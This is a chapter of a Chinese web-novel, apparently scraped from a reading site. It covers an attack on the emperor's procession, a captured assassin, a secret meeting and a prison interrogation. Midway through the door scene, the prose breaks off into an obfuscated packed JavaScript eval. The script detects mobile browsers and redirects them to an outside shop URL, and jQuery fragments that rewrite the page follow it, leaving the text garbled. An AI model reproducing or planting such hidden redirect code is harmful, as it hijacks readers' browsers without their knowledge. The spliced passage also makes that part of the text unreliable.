46. 俘虏

作品:《无限玩家在古代当大小姐

    那刺客首领被夏玄锋死死缠住,绵密剑招压得他应接不暇,再无暇顾及其他刺客的情况。


    眼见着局势僵持,刺客们以少敌多渐渐露出颓势,他眼底寒光一厉,竟是放弃防守选择硬挨夏玄锋一剑,趁着肩头血花四溅使得夏玄锋抽剑攻势暂缓之际,吹出一声尖利的哨音。


    哨音刺破漫天厮杀声,响彻所有刺客脑海。刺客们身形一顿,眼中瞬间沁染上癫狂之色,不再执着于攻击皇帝御辇,转而四散开来就近随机攻击各家大臣,竭尽一切机会拉这些达官贵人垫背。


    御前近卫不敢离开皇帝御辇,外围的禁军又被拥挤的车架马匹阻碍,无法快速调兵冲进战局,一时间竟无人能及时拦住这些发狂的刺客,全靠各家豢养的家丁在车外苦苦坚守。


    夏玄锋面色冷肃,不再收敛自己的功力,几剑便将那疑似刺客首领的人挑翻在地,弹指将一粒缓解剂药丸飞射进他的喉中,又闪身并指重击其后颈,瞬间打晕这刺客,彻底空出手脚来。


    他足尖轻点,腾身掠过一架架车马,所过之处的刺客纷纷惨叫连连,断胳膊折腿地被各家家丁们斩于马下。


    秦家车架外也杀来两个刺客,他们避过被家丁们团团守住的秦正荣的马车,直奔无人守卫的秦家女眷马车而来,显然是将她们当成了那柔弱可欺的软柿子。


    那两个刺客攀上车架,一个一把拽下车帘,直冲车中之人面门而去,一个撩开车窗,隔着车厢挥剑戳刺车中之人。


    素月豁然睁眼,一把将三个女人护至身后,飞起一脚猛踢车门处刺客的手腕,那刺客闷哼一声,扭曲的腕骨传出清脆的骨折声,再也握不住手中的长刀。素月折身接住他吃痛跌落的长刀,反手瞬间捅穿车窗处那探头刺客的脖颈,猝然抽刀的同时放下窗帘挡住喷溅而出的温热鲜血。


    电光火石间便已解决一人,那车门处的刺客瞪大双眼,意识到自己这是挑上了硬茬子,可被素月擒住手腕的身体已然收势不住,下一瞬,那血色长刀便穿胸而过。他双眼圆瞪,脱力的仰面朝后跌下马车,那空茫失焦的眼底最后留下的,是高远碧空上灿烈的秋日艳阳。


    缩在马车一角的三个女人目瞪口呆,被袭击的惊恐尖叫还来不及冲破喉咙,视线中却已全然是素月一脚将刺客尸体踹下马车的潇洒背影。


    “好…好厉害!”


    “小月儿没事吧?”


    钱青颖松开紧紧搂着的两个姑娘,抖着发软的手脚凑到素月身边,仔仔细细将她身上全都检查一遍,确认没有任何伤痕过后才彻底放松下来。


    车外的打斗声又持续了片刻,余下的刺客被禁军和各家护卫一起耗尽了气力,三三两两的靠在一起,等着被围拢过来的将士们彻底制服。


    “抓活口——!”禁军统领举枪高呼,指挥着部下拿绳索来。


    刺客们呼哧呼哧喘着粗气,瞪着血红的眼睛紧盯着越来越靠近的将士,咧开嘴角从喉间挤出嘶哑诡异的狞笑。


    “呵…呵……哈哈哈哈!”


    恐怖的笑声惊得包围的将士们越发警惕,小心防备这些强弩之末的刺客再度暴起伤人,却见他们干裂脏污的嘴角纷纷溢出暗红的血沫,俨然是毒入肺腑,早已无药可医!


    “该死!”禁军统领怒斥一声,却也只能徒劳看着仅剩的几个刺客纷纷委顿在地,渐渐没了生息。


    黄昏时分,饱受惊吓的王公贵胄们总算拖着疲惫的身心赶到了今夜下榻的行宫。不等众人喘口气休整片刻,皇帝立刻召集群臣,问责今日遇刺一事。


    御座之上,皇帝面色阴沉,语气森寒,字字冷硬如铁:“汪勇,今日行刺的逆贼,当真无一生擒?”


    禁军统领汪勇仍然穿着白日里那身血迹斑斑的甲胄,单膝跪于殿前,额角冷汗涔涔,声音里带着几分艰涩惶恐:“回陛下,那些逆贼齿间皆藏有剧毒,见形势不利,全都服毒自尽了,的确无一活口啊!”


    光天化日之下当街行刺天子,这种飞蛾扑火的疯狂行径,大夏立国以来从未有过,今日怎会偏偏让他给遇上了!


    他喉头滚动,不敢抬头去看皇帝铁青的脸色,声音愈发吞吞吐吐:“而且…而且…那些刺客穿的都是寻常的粗布衣裳,身上没有携带任何东西,实在是…无从追查来历……”


    “废物!”


    皇帝怒喝一声,揉了揉抽痛的额角,挥挥手语气不耐烦道:“汪勇护驾不利,即刻官降一级,罚奉半载,滚下去!”


    汪勇身子一颤,抖着声音应道:“臣…臣领旨谢恩。”言罢,他狼狈地起身,正要躬身退出大殿,却被从殿外突然而至的肃王夏玄锋拦住了去路。


    “儿臣参见父皇。”夏玄锋拱手行礼,挥手命身后的侍卫将担架上所抬之物呈到御前。


    “父皇,这是儿臣白日里打晕的刺客,身上伤势颇重,本是濒死之人,却没想到其余刺客竟全部服毒自尽,无一活口。儿臣唯恐断了追查的线索,只好命人将他紧急抢救一番,忙活了整整一下午,好不容易才勉强保住他的性命。”


    夏玄锋掀开遮挡刺客的白布,将他惨白的面容和身上沾满血迹尘土的破烂衣衫展示出来,低头拱手恭敬说道:“儿臣如今将他呈于父皇殿前,希望能助父皇彻查幕后黑手,永绝后患。”


    刺鼻的血腥味飘散开来,皇帝目光暗沉,面无表情盯着夏玄锋低垂的头顶,沉默片刻,他朗声夸赞道:“好!不愧是朕的儿子!老七护驾有功,来人,赏黄金百两!”


    夏玄锋盯着地面,眸光凛冽冰冷,心中嗤笑一声,态度却恭敬至极:“谢父皇,能为父皇分忧,是孩儿的荣幸。”


    皇帝下巴微抬,目光转向一旁垂手而立的锦衣卫都指挥使:“周爱卿,这逆贼就交由你保管吧,务必要从他口中挖出线索来!”


    被点名的锦衣卫都指挥使周茂心中一苦,却不得不接下这难办的差事,上前一步,躬身行礼领旨:“是,臣定当竭尽全力,不负陛下所托!”


    夜深,素月端坐在桌前,桌上放着准备好的纸笔,她慢悠悠给桌上的三盏茶杯斟满热茶,静候客人到来。


    漆黑的窗外蓦地闪过一道人影,片刻,门口传来轻轻的敲门声。


    门边的阴影犹如漆黑深潭般翻起涟漪,下一瞬,叶幽劲瘦的身影浮现其中,她伸手拉开门闩,将门外的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070414|195194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夏玄锋放了进来。


    “幽幽姐,大师兄,你们来了!”素月微笑指向身边的座位。


    夏玄锋掩好门,两人先后在素月身边落座。叶幽押上一口刚泡好的热茶,长舒一口气,提笔将白日的经历娓娓道来。


    “我今早与小月儿所说的那位名叫影十的小哥会合后,便提前赶到了夏玄锋探查到的行刺地点侦查,摸清了这次行刺的指挥首领,由影十把那首领的外貌报告给夏玄锋了。”


    “没错,我已按照叶小姐的描述,成功将那人俘获,现已听父皇之命移交给锦衣卫负责审问。”


    “那锦衣卫审问技术如何?那个人我认识,是暗秋阁据点里相当有地位的一个头目,早就不再执行刺杀任务了,没想到这次竟然是他带队刺杀皇帝。”叶幽有些担心朝廷的人根本没能力撬开他的嘴。


    “审问技术么…有的锦衣卫技术不错,不过锦衣卫那个都指挥使,只能说勉强吧。”夏玄锋单手撑着下颌,眼角余光偷瞄一旁优雅品茗的素月。


    咽下茶水,素月不屑冷笑道:“没指望他们审出什么。”她放下茶盏,顺手拿起墨条为叶幽研墨。


    “以目前情况来看,朝中肯定还藏着一条大鱼。那刺客没有死于剧毒,反而在诏狱里活得好好的,要不了几天,自然有人比我们先着急。”


    “待他们露出马脚,咱们顺藤摸瓜就好。”


    叶幽点点头,接着奋笔疾书:“我救了两个人,他们是和我一起从同一个慈幼院被骗到暗秋阁的,当初训练的时候帮过我很多。今天我看见他们也在行刺队伍里,便使计将他们打晕暂时藏起来,现在影十派人帮我把他们藏到夏玄锋地盘里去了。”


    “行,你的事你自己做主就好,有什么需要可以找大师兄帮忙。”素月指尖轻点,夏玄锋配合地点头同意。


    “等车队慢悠悠晃到京城,柔柔姐也该到了,这几日辛苦你给那俘虏喂缓解剂,别让他提前死了。”素月给大家的茶杯蓄满茶水,最后确定了各自分工,这才结束密谈。


    两日后,饱经波折的秋狝队伍总算重新回到了繁华的紫华京,各朝臣命妇们迫不及待赶回温暖熟悉的家中,躺在自家的床上酣梦一场,好抚慰这一路上被袭击,被刺杀的惊慌劳累。


    但回到京城却是有些人劳累的开端,例如被皇上下令追查遇刺一事的锦衣卫都指挥使周茂。


    当时夏玄锋本就没下狠手,那刺客的状态不过是看起来凄惨,实际却并不严重,凭借他强健的体质,将养两日也已经好了个四五成。


    这两日有御医全程看护着他,故而周茂对他的身体状况了如指掌,知道他性命无忧。


    既然如此,审问起来也就没什么值得顾忌的。


    阴暗潮湿的诏狱中,空气里弥漫着刺鼻的腐朽血腥味,那刺客被吊在生铁铸就的刑架上,光裸的身上遍布着旧疤,前几日的伤痕才刚刚结痂,鞭子呼啸而过,那皮肉便又添上新的狰狞伤痕。


    “说!谁在指使你们!”


    狱卒将鞭子粘上盐水,挥臂甩出破空的爆鸣声。周茂端坐在案前,眯眼皱眉,傲慢地看着手下人鞭笞呵斥那刺客。